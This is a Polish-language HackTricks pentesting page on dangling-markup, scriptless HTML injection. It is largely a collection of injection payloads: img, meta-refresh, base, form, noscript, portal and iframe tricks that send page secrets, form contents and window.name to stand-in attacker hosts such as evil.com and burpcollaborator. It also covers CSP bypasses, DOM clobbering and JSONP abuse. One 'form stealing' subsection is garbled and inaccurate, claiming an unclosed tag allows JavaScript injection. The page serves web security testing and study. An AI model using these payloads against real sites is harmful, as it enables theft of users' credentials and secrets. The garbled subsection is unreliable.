hacktricks/pentesting-web/dangling-markup-html-scriptless-injection
2024-02-11 01:46:25 +00:00
..
README.md Translated to Polish 2024-02-11 01:46:25 +00:00
ss-leaks.md Translated to Polish 2024-02-11 01:46:25 +00:00

Dangling Markup - Wstrzykiwanie HTML bez użycia skryptów

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podsumowanie

Ta technika może być używana do wydobycia informacji od użytkownika, gdy zostanie znalezione wstrzykiwanie HTML. Jest to bardzo przydatne, jeśli nie znajdziesz żadnego sposobu na wykorzystanie XSS, ale możesz wstrzyknąć pewne znaczniki HTML.
Jest również przydatne, jeśli pewne tajemnice są zapisane w postaci zwykłego tekstu w HTML i chcesz je wydobyć z klienta, lub jeśli chcesz wprowadzić w błąd wykonanie pewnego skryptu.

Kilka omówionych tutaj technik można użyć do obejścia niektórych Content Security Policy poprzez wydobywanie informacji w nieoczekiwany sposób (znaczniki HTML, CSS, http-meta tags, formularze, base...).

Główne zastosowania

Kradzież tajemnic w postaci zwykłego tekstu

Jeśli wstrzykniesz <img src='http://evil.com/log.cgi? podczas ładowania strony, ofiara wyśle do Ciebie cały kod między wstrzykniętym znacznikiem img a następnym cudzysłowem w kodzie. Jeśli w tym fragmencie znajduje się jakaś tajemnica, ją wykradniesz (możesz zrobić to samo, używając podwójnego cudzysłowu, zobacz, który może być bardziej interesujący do użycia).

Jeśli znacznik img jest zabroniony (np. ze względu na CSP), możesz również użyć <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Zauważ, że Chrome blokuje adresy URL HTTP zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".

Możesz również wykorzystać CSS @import (wyśle cały kod do momentu znalezienia ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Możesz również użyć <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Możesz również wstawić znacznik <base. Wszystkie informacje zostaną wysłane do zamknięcia cytatu, ale wymaga to pewnej interakcji użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ znacznik base zmienił domenę wskazywaną przez link):

<base target='        <--- Injected
steal me'<b>test</b>

Kradzież formularzy

Dangling Markup (HTML) to technika, która polega na wykorzystaniu niezamkniętego znacznika HTML, aby ukraść dane z formularzy na stronie internetowej. Ta technika jest możliwa, gdy deweloperzy nie zamkną znacznika HTML poprawnie, co prowadzi do wycieku danych.

Jak działa?

  1. Znajdź stronę internetową z niezamkniętym znacznikiem HTML w formularzu.
  2. Sprawdź, czy formularz zawiera poufne dane, takie jak hasła, adresy e-mail, dane osobowe itp.
  3. Wykorzystaj niezamknięty znacznik HTML, aby wstrzyknąć kod JavaScript, który przechwyci dane z formularza.
  4. Skrypt JavaScript może wysłać skradzione dane na zewnętrzny serwer lub zapisywać je w lokalnym pliku.

Przykład

Poniżej znajduje się przykład niezamkniętego znacznika HTML w formularzu logowania:

<form>
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="Login">
</form

W powyższym przykładzie znacznik </form> nie został zamknięty poprawnie. Możemy wykorzystać tę lukę, aby przechwycić dane logowania.

Zabezpieczenia

Aby zapobiec kradzieży formularzy za pomocą dangling markup, deweloperzy powinni zawsze upewnić się, że wszystkie znaczniki HTML są zamknięte poprawnie. Regularne testowanie bezpieczeństwa aplikacji może również pomóc w wykrywaniu takich luk i ich naprawie przed wykorzystaniem ich przez potencjalnych hakerów.

<base href='http://evil.com/'>

Następnie, formularze wysyłające dane do ścieżki (np. <form action='update_profile.php'>) będą wysyłać dane do złośliwej domeny.

Kradzież formularzy 2

Ustaw nagłówek formularza: <form action='http://evil.com/log_steal'> spowoduje nadpisanie następnego nagłówka formularza i wszystkie dane z formularza zostaną wysłane do atakującego.

Kradzież formularzy 3

Przycisk może zmienić adres URL, do którego zostaną wysłane informacje z formularza, za pomocą atrybutu "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Atakujący może wykorzystać to do kradzieży informacji.

Kradzież jawnych sekretów 2

Korzystając z najnowszej wymienionej techniki kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), można następnie wstrzyknąć nowe pole wprowadzania danych:

<input type='hidden' name='review_body' value="

i to pole wejściowe będzie zawierać całą treść między jego cudzysłowem a kolejnym cudzysłowem w HTML. Ten atak łączy "Kradzież jawnych sekretów" z "Kradzieżą formularzy2".

Możesz zrobić to samo wstrzykując formularz i znacznik <option>. Wszystkie dane do momentu znalezienia zamkniętego znacznika </option> zostaną wysłane:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Wstrzykiwanie parametrów formularza

Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwane działanie:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Kradzież jawnych sekretów za pomocą noscript

<noscript></noscript> to znacznik, którego zawartość zostanie zinterpretowana, jeśli przeglądarka nie obsługuje JavaScriptu (możesz włączać/wyłączać JavaScript w Chrome w chrome://settings/content/javascript).

Sposobem na wydostanie zawartości strony internetowej od punktu wstrzyknięcia do jej końca na kontrolowaną przez atakującego stronę będzie wstrzyknięcie tego:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Omijanie CSP za pomocą interakcji użytkownika

Z tej badania portswiggers można dowiedzieć się, że nawet w najbardziej ograniczonym środowisku CSP wciąż można wyciekać dane za pomocą pewnej interakcji użytkownika. W tym przypadku będziemy używać ładunku:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Zauważ, że poprosisz ofiarę o kliknięcie w link, który ją przekieruje do payloadu kontrolowanego przez ciebie. Zauważ również, że atrybut target wewnątrz tagu base będzie zawierał treść HTML do następnego pojedynczego cudzysłowu.
Spowoduje to, że wartość window.name po kliknięciu w link będzie zawierać całą tę treść HTML. Dlatego, jako że kontrolujesz stronę, na którą ofiara trafia po kliknięciu w link, możesz uzyskać dostęp do window.name i wyciec te dane:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Mylący skrypt - krok 1 - Atak na przestrzeń nazw HTML

Wstaw nowy tag z identyfikatorem (id) wewnątrz HTML, który nadpisze następny tag i będzie miał wartość, która wpłynie na przebieg skryptu. W tym przykładzie wybierasz, z kim zostanie udostępniona informacja:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Mylący skrypt - Atak na przestrzeń nazw skryptu

Utwórz zmienne w przestrzeni nazw JavaScript poprzez wstawienie znaczników HTML. Następnie ta zmienna wpłynie na przebieg aplikacji:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Wykorzystanie JSONP

Jeśli znajdziesz interfejs JSONP, możesz wywołać dowolną funkcję z dowolnymi danymi:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Lub nawet możesz spróbować wykonania pewnego kodu JavaScript:

<script src='/search?q=a&call=alert(1)'></script>

Nadużycie iframe

Dziecko dokumentu posiada zdolność do przeglądania i modyfikowania właściwości location swojego rodzica, nawet w przypadku sytuacji międzydomenowych. Pozwala to na osadzenie skryptu wewnątrz elementu iframe, który może przekierować klienta na dowolną stronę:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

To można złagodzić używając czegoś takiego jak: sandbox=' allow-scripts allow-top-navigation'

Iframe może również być wykorzystane do wycieku poufnych informacji z innej strony używając atrybutu nazwy iframe. Dzieje się tak, ponieważ można utworzyć iframe, które samo w sobie tworzy kolejne iframe, wykorzystując wstrzyknięcie HTML, które powoduje, że poufne informacje pojawiają się w atrybucie nazwy iframe, a następnie można uzyskać do niej dostęp z pierwotnego iframe i wyciec je.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Aby uzyskać więcej informacji, sprawdź https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta nadużycie

Możesz użyć meta http-equiv do wykonania kilku działań, takich jak ustawienie pliku Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> lub przekierowanie (w tym przypadku po 5 sekundach): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Można to uniknąć za pomocą CSP dotyczącego http-equiv (Content-Security-Policy: default-src 'self';, lub Content-Security-Policy: http-equiv 'self';)

Nowy znacznik HTML <portal>

Możesz znaleźć bardzo ciekawe badania na temat podatności na wykorzystanie znacznika <portal tutaj.
W chwili pisania tego tekstu musisz włączyć znacznik portal w Chrome pod adresem chrome://flags/#enable-portals, w przeciwnym razie nie będzie działać.

<portal src='https://attacker-server?

Wycieki HTML

Nie wszystkie sposoby wycieku łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

Wycieki SS

Jest to mieszanka między dangling markup a XS-Leaks. Z jednej strony podatność pozwala na wstrzyknięcie HTML (ale nie JS) na stronie tej samej domeny, którą będziemy atakować. Z drugiej strony nie będziemy atakować bezpośrednio strony, na której możemy wstrzyknąć HTML, ale innej strony.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search jest skierowany na wyciek informacji międzydomenowych poprzez wykorzystanie ataków na kanały boczne. Jest to zatem inna technika niż Dangling Markup, jednak niektóre z technik wykorzystują włączenie znaczników HTML (z i bez wykonania JS), takich jak Wstrzykiwanie CSS lub Opóźnione ładowanie obrazów.

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

Lista wykrywania Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: